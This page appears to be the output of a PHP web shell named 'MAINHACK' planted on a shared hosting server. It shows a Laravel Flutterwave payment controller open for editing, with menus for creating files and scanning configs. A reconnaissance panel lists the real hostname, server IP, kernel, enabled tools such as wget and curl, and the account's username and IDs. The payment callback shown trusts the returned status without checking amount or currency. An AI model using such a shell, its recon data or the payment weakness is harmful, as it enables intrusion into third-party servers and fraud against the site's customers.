[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FlutterwaveController.php
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Models\Order; use App\Models\BusinessSetting; use App\CentralLogics\Helpers; use App\CentralLogics\OrderLogic; use KingFlamez\Rave\Facades\Rave as Flutterwave; use Illuminate\Support\Facades\DB; class FlutterwaveController extends Controller { /** * Initialize Rave payment process * @return void */ public function initialize() { //This generates a payment reference $reference = Flutterwave::generateReference(); $order = Order::with(['details'])->where(['id' => session('order_id'), 'user_id'=>session('customer_id')])->first(); $user_data = session('data'); // Enter the details of the payment $data = [ 'payment_options' => 'card,banktransfer', 'amount' => $order->order_amount, 'email' => $user_data['email'], 'tx_ref' => $reference, 'currency' => Helpers::currency_code(), 'redirect_url' => route('flutterwave_callback'), 'customer' => [ 'email' => $user_data['email'], "phone_number" => $user_data['phone'], "name" => $user_data['name'] ], "customizations" => [ "title" => BusinessSetting::where(['key'=>'business_name'])->first()->value??'Stack Food', "description" => $order->id, ] ]; $payment = Flutterwave::initializePayment($data); if ($payment['status'] !== 'success') { $order->order_status = 'failed'; $order->failed = now(); $order->save(); if ($order->callback != null) { return redirect($order->callback . '&status=fail'); }else{ return \redirect()->route('payment-fail'); } } return redirect($payment['data']['link']); } /** * Obtain Rave callback information * @return void */ public function callback() { $status = request()->status; $order = Order::with(['details'])->where(['id' => session('order_id'), 'user_id'=>session('customer_id')])->first(); //if payment is successful if ($status == 'successful') { $transactionID = Flutterwave::getTransactionIDFromCallback(); $data = Flutterwave::verifyTransaction($transactionID); try { $order->transaction_reference = $transactionID; $order->payment_method = 'flutterwave'; $order->payment_status = 'paid'; $order->order_status = 'confirmed'; $order->confirmed = now(); $order->save(); Helpers::send_order_notification($order); } catch (\Exception $e) { } if ($order->callback != null) { return redirect($order->callback . '&status=success'); }else{ return \redirect()->route('payment-success'); } } // elseif ($status == 'cancelled'){ // //Put desired action/code after transaction has been cancelled here // } else{ $order->order_status = 'failed'; $order->failed = now(); $order->save(); if ($order->callback != null) { return redirect($order->callback . '&status=fail'); }else{ return \redirect()->route('payment-fail'); } } // Get the transaction from your DB using the transaction reference (txref) // Check if you have previously given value for the transaction. If you have, redirect to your successpage else, continue // Confirm that the currency on your db transaction is equal to the returned currency // Confirm that the db transaction amount is equal to the returned amount // Update the db transaction record (including parameters that didn't exist before the transaction is completed. for audit purpose) // Give value for the transaction // Update the transaction to note that you have given value for the transaction // You can also redirect to your success page from here } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.25 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624